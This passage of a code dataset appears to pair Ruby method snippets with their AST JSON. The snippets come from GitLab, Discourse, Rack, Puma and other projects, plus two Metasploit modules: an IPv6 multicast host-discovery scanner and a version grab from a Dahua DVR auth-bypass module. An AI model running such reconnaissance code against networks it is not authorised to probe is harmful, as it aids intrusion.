"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"raw\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw\"]},\"to_h\"]}]},{\"type\":\"lvasgn\",\"children\":[\"gh_issue\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IssueFormatter\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"lvar\",\"children\":[\"raw\"]},{\"type\":\"send\",\"children\":[null,\"client\"]},{\"type\":\"send\",\"children\":[null,\"source_user_mapper\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"issuable\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gh_issue\"]},\"pull_request?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MergeRequest\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"iid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gh_issue\"]},\"number\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gh_issue\"]},\"create!\"]}]}]},{\"type\":\"send\",\"children\":[null,\"apply_labels\",{\"type\":\"lvar\",\"children\":[\"issuable\"]},{\"type\":\"lvar\",\"children\":[\"raw\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"<<\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"issue\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"UrlSanitizer\"]},\"sanitize\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gh_issue\"]},\"url\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]}]},null]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"load_placeholder_references\"]}]}]}","id":"34be1c68-77b9-4c58-bdb4-50d1bbb21c10"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/discovery/ipv6_multicast_ping.rb","start_line":67,"raw_source":"def run\n    # Start capture\n    open_pcap({ 'FILTER' => 'icmp6' })\n\n    @netifaces = true\n    if !netifaces_implemented?\n      print_error('WARNING : Pcaprub is not up-to-date, some functionality will not be available')\n      @netifaces = false\n    end\n\n    @interface = datastore['INTERFACE'] || Pcap.lookupdev\n\n    # Send ping\n    print_status('Sending multicast pings...')\n    dmac = '33:33:00:00:00:01'\n    @smac = smac\n    # Figure out our source address by the link-local interface\n    shost = ipv6_link_address\n\n    # m-1-k-3: added some more multicast addresses from wikipedia: https://en.wikipedia.org/wiki/Multicast_address#IPv6\n    ping6('FF01::1', { 'DMAC' => dmac, 'SHOST' => shost, 'SMAC' => @smac, 'WAIT' => false })    # node-local all nodes\n    ping6('FF01::2', { 'DMAC' => dmac, 'SHOST' => shost, 'SMAC' => @smac, 'WAIT' => false })    # node-local all routers\n    ping6('FF02::1', { 'DMAC' => dmac, 'SHOST' => shost, 'SMAC' => @smac, 'WAIT' => false })    # All nodes on the local network segment\n    ping6('FF02::2', { 'DMAC' => dmac, 'SHOST' => shost, 'SMAC' => @smac, 'WAIT' => false })    # All routers on the local network segment\n    ping6('FF02::5', { 'DMAC' => dmac, 'SHOST' => shost, 'SMAC' => @smac, 'WAIT' => false })    # OSPFv3 AllSPF routers\n    ping6('FF02::6', { 'DMAC' => dmac, 'SHOST' => shost, 'SMAC' => @smac, 'WAIT' => false })    # OSPFv3 AllDR routers\n    ping6('FF02::9', { 'DMAC' => dmac, 'SHOST' => shost, 'SMAC' => @smac, 'WAIT' => false })    # RIP routers\n    ping6('FF02::a', { 'DMAC' => dmac, 'SHOST' => shost, 'SMAC' => @smac, 'WAIT' => false })    # EIGRP routers\n    ping6('FF02::d', { 'DMAC' => dmac, 'SHOST' => shost, 'SMAC' => @smac, 'WAIT' => false })    # PIM routers\n    ping6('FF02::16', { 'DMAC' => dmac, 'SHOST' => shost, 'SMAC' => @smac, 'WAIT' => false })   # MLDv2 reports (defined in RFC 3810)\n    ping6('ff02::1:2', { 'DMAC' => dmac, 'SHOST' => shost, 'SMAC' => @smac, 'WAIT' => false })  # All DHCP servers and relay agents on the local network site (defined in RFC 3315)\n    ping6('ff05::1:3', { 'DMAC' => dmac, 'SHOST' => shost, 'SMAC' => @smac, 'WAIT' => false })  # All DHCP servers on the local network site (defined in RFC 3315)\n\n    # Listen for host advertisements\n    print_status('Listening for responses...')\n    listen_for_ping_response\n\n    # Close capture\n    close_pcap\n  end","complexity_score":34.1,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"open_pcap\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"FILTER\"]},{\"type\":\"str\",\"children\":[\"icmp6\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@netifaces\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"netifaces_implemented?\"]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"WARNING : Pcaprub is not up-to-date, some functionality will not be available\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@netifaces\",{\"type\":\"false\",\"children\":[]}]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@interface\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"INTERFACE\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Pcap\"]},\"lookupdev\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Sending multicast pings...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"dmac\",{\"type\":\"str\",\"children\":[\"33:33:00:00:00:01\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@smac\",{\"type\":\"send\",\"children\":[null,\"smac\"]}]},{\"type\":\"lvasgn\",\"children\":[\"shost\",{\"type\":\"send\",\"children\":[null,\"ipv6_link_address\"]}]},{\"type\":\"send\",\"children\":[null,\"ping6\",{\"type\":\"str\",\"children\":[\"FF01::1\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DMAC\"]},{\"type\":\"lvar\",\"children\":[\"dmac\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SHOST\"]},{\"type\":\"lvar\",\"children\":[\"shost\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SMAC\"]},{\"type\":\"ivar\",\"children\":[\"@smac\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"WAIT\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"ping6\",{\"type\":\"str\",\"children\":[\"FF01::2\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DMAC\"]},{\"type\":\"lvar\",\"children\":[\"dmac\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SHOST\"]},{\"type\":\"lvar\",\"children\":[\"shost\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SMAC\"]},{\"type\":\"ivar\",\"children\":[\"@smac\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"WAIT\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"ping6\",{\"type\":\"str\",\"children\":[\"FF02::1\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DMAC\"]},{\"type\":\"lvar\",\"children\":[\"dmac\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SHOST\"]},{\"type\":\"lvar\",\"children\":[\"shost\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SMAC\"]},{\"type\":\"ivar\",\"children\":[\"@smac\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"WAIT\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"ping6\",{\"type\":\"str\",\"children\":[\"FF02::2\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DMAC\"]},{\"type\":\"lvar\",\"children\":[\"dmac\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SHOST\"]},{\"type\":\"lvar\",\"children\":[\"shost\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SMAC\"]},{\"type\":\"ivar\",\"children\":[\"@smac\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"WAIT\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"ping6\",{\"type\":\"str\",\"children\":[\"FF02::5\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DMAC\"]},{\"type\":\"lvar\",\"children\":[\"dmac\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SHOST\"]},{\"type\":\"lvar\",\"children\":[\"shost\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SMAC\"]},{\"type\":\"ivar\",\"children\":[\"@smac\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"WAIT\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"ping6\",{\"type\":\"str\",\"children\":[\"FF02::6\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DMAC\"]},{\"type\":\"lvar\",\"children\":[\"dmac\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SHOST\"]},{\"type\":\"lvar\",\"children\":[\"shost\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SMAC\"]},{\"type\":\"ivar\",\"children\":[\"@smac\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"WAIT\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"ping6\",{\"type\":\"str\",\"children\":[\"FF02::9\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DMAC\"]},{\"type\":\"lvar\",\"children\":[\"dmac\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SHOST\"]},{\"type\":\"lvar\",\"children\":[\"shost\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SMAC\"]},{\"type\":\"ivar\",\"children\":[\"@smac\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"WAIT\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"ping6\",{\"type\":\"str\",\"children\":[\"FF02::a\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DMAC\"]},{\"type\":\"lvar\",\"children\":[\"dmac\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SHOST\"]},{\"type\":\"lvar\",\"children\":[\"shost\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SMAC\"]},{\"type\":\"ivar\",\"children\":[\"@smac\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"WAIT\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"ping6\",{\"type\":\"str\",\"children\":[\"FF02::d\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DMAC\"]},{\"type\":\"lvar\",\"children\":[\"dmac\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SHOST\"]},{\"type\":\"lvar\",\"children\":[\"shost\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SMAC\"]},{\"type\":\"ivar\",\"children\":[\"@smac\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"WAIT\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"ping6\",{\"type\":\"str\",\"children\":[\"FF02::16\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DMAC\"]},{\"type\":\"lvar\",\"children\":[\"dmac\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SHOST\"]},{\"type\":\"lvar\",\"children\":[\"shost\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SMAC\"]},{\"type\":\"ivar\",\"children\":[\"@smac\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"WAIT\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"ping6\",{\"type\":\"str\",\"children\":[\"ff02::1:2\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DMAC\"]},{\"type\":\"lvar\",\"children\":[\"dmac\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SHOST\"]},{\"type\":\"lvar\",\"children\":[\"shost\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SMAC\"]},{\"type\":\"ivar\",\"children\":[\"@smac\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"WAIT\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"ping6\",{\"type\":\"str\",\"children\":[\"ff05::1:3\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DMAC\"]},{\"type\":\"lvar\",\"children\":[\"dmac\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SHOST\"]},{\"type\":\"lvar\",\"children\":[\"shost\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SMAC\"]},{\"type\":\"ivar\",\"children\":[\"@smac\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"WAIT\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Listening for responses...\"]}]},{\"type\":\"send\",\"children\":[null,\"listen_for_ping_response\"]},{\"type\":\"send\",\"children\":[null,\"close_pcap\"]}]}]}","id":"c5cc3118-9dbe-488c-a502-08aea22c1841"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/object_hierarchy.rb","start_line":28,"raw_source":"def descendants\n      base_and_descendants.id_not_in(descendants_base.select(:id))\n    end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"descendants\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"base_and_descendants\"]},\"id_not_in\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"descendants_base\"]},\"select\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}","id":"5ecb311c-6de7-4298-9201-5abf78ae76ef"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb","start_line":88,"raw_source":"def grab_version\n    connect\n    sock.put(VERSION)\n    data = sock.get_once\n    return unless data =~ /[\\x00]{8,}([[:print:]]+)/\n\n    ver = Regexp.last_match[1]\n    print_good(\"#{peer} -- version: #{ver}\")\n  end","complexity_score":13.1,"ast_json":"{\"type\":\"def\",\"children\":[\"grab_version\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"const\",\"children\":[null,\"VERSION\"]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"get_once\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"[\\\\x00]{8,}([[:print:]]+)\"]},{\"type\":\"regopt\",\"children\":[]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"ver\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"last_match\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" -- version: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ver\"]}]}]}]}]}]}","id":"d61fbd3d-ee9d-4ac2-a65f-bccf3eb42e91"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/commits_helper.rb","start_line":22,"raw_source":"def commit_committer_avatar(committer, options = {})\n    user_avatar(options.merge({\n      user: committer,\n      user_name: committer.name,\n      user_email: committer.email,\n      css_class: 'gl-hidden @sm/panel:gl-inline-block !gl-float-none !gl-mr-0 gl-align-text-bottom'\n    }))\n  end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"commit_committer_avatar\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"committer\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"user_avatar\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"committer\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"committer\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_email\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"committer\"]},\"email\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"css_class\"]},{\"type\":\"str\",\"children\":[\"gl-hidden @sm/panel:gl-inline-block !gl-float-none !gl-mr-0 gl-align-text-bottom\"]}]}]}]}]}]}","id":"836d4c86-608b-42a7-b2ac-7baff7d0ebba"}
{"repo_name":"puma","file_path":"./repos/puma/test/test_rack_server.rb","start_line":47,"raw_source":"def call(env)\n      if Rack.release < '3'\n        check_env env\n      else\n        Wrapper.new(@app, env).check_environment env\n      end\n\n      @app.call(env)\n    end","complexity_score":7.7,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rack\"]},\"release\"]},\"<\",{\"type\":\"str\",\"children\":[\"3\"]}]},{\"type\":\"send\",\"children\":[null,\"check_env\",{\"type\":\"lvar\",\"children\":[\"env\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Wrapper\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@app\"]},{\"type\":\"lvar\",\"children\":[\"env\"]}]},\"check_environment\",{\"type\":\"lvar\",\"children\":[\"env\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@app\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"env\"]}]}]}]}","id":"906b48cb-4cb3-49e3-afdb-fe09ac30615b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/registry/repositories_controller.rb","start_line":11,"raw_source":"def index\n        respond_to do |format|\n          format.html { ensure_root_container_repository! }\n          format.json { render_404 }\n        end\n      end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"format\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"html\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"ensure_root_container_repository!\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"json\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render_404\"]}]}]}]}]}","id":"a0b2a8c8-79e2-47dd-98d4-44692f8c11a0"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/forms/work_packages/progress_form.rb","start_line":172,"raw_source":"def touched(name)\n    @touched_field_map[\"#{name}_touched\"] || false\n  end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"touched\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@touched_field_map\"]},\"[]\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\"_touched\"]}]}]},{\"type\":\"false\",\"children\":[]}]}]}","id":"678dd55f-277d-4c0e-8c23-f2f5d1ff028f"}
{"repo_name":"rack","file_path":"./repos/rack/lib/rack/headers.rb","start_line":140,"raw_source":"def fetch_values(*a)\n      super(*a.map!{|key| downcase_key(key)})\n    end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch_values\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"a\"]}]},{\"type\":\"super\",\"children\":[{\"type\":\"splat\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a\"]},\"map!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[null,\"downcase_key\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]}]}]}","id":"7bd34f13-3db9-47c3-8482-90e569825905"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/phpbb3/importers/post_importer.rb","start_line":27,"raw_source":"def map_to_import_ids(rows)\n      rows.map { |row| @settings.prefix(row[:post_id]) }\n    end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"map_to_import_ids\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"rows\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rows\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@settings\"]},\"prefix\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"post_id\"]}]}]}]}]}","id":"d5a919ad-ec71-4ae8-a4ee-63a4a8286caf"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/trust_level.rb","start_line":29,"raw_source":"def self.name(level)\n    I18n.t(\"js.trust_levels.names.#{levels[level]}\")\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"level\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"js.trust_levels.names.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"levels\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"level\"]}]}]}]}]}]}","id":"2e442f7d-b87b-4af9-9a91-2a952a540446"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/types/ci/detailed_status_type.rb","start_line":59,"raw_source":"def action\n        return unless object.has_action?\n\n        {\n          button_title: object.action_button_title,\n          icon: object.action_icon,\n          method: object.action_method,\n          path: object.action_path,\n          title: object.action_title,\n          confirmation_message: object.confirmation_message\n        }\n      end","complexity_score":16.4,"ast_json":"{\"type\":\"def\",\"children\":[\"action\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"has_action?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"button_title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"action_button_title\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"icon\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"action_icon\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"action_method\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"action_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"action_title\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confirmation_message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"confirmation_message\"]}]}]}]}]}","id":"e83fad02-bad3-4c75-a494-32bef76d6389"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_action.rb","start_line":940,"raw_source":"def round_if_memory_reconfigured\n    # round memory value to the nearest 4mb\n    self.options[:value] = round_to_nearest_4mb(self.options[:value]) if action_type == \"reconfigure_memory\"\n  end","complexity_score":9.3,"ast_json":"{\"type\":\"def\",\"children\":[\"round_if_memory_reconfigured\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"action_type\"]},\"==\",{\"type\":\"str\",\"children\":[\"reconfigure_memory\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[null,\"round_to_nearest_4mb\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"value\"]}]}]}]},null]}]}","id":"6b384e6c-e759-456e-a2ab-2bb95e514ba7"}
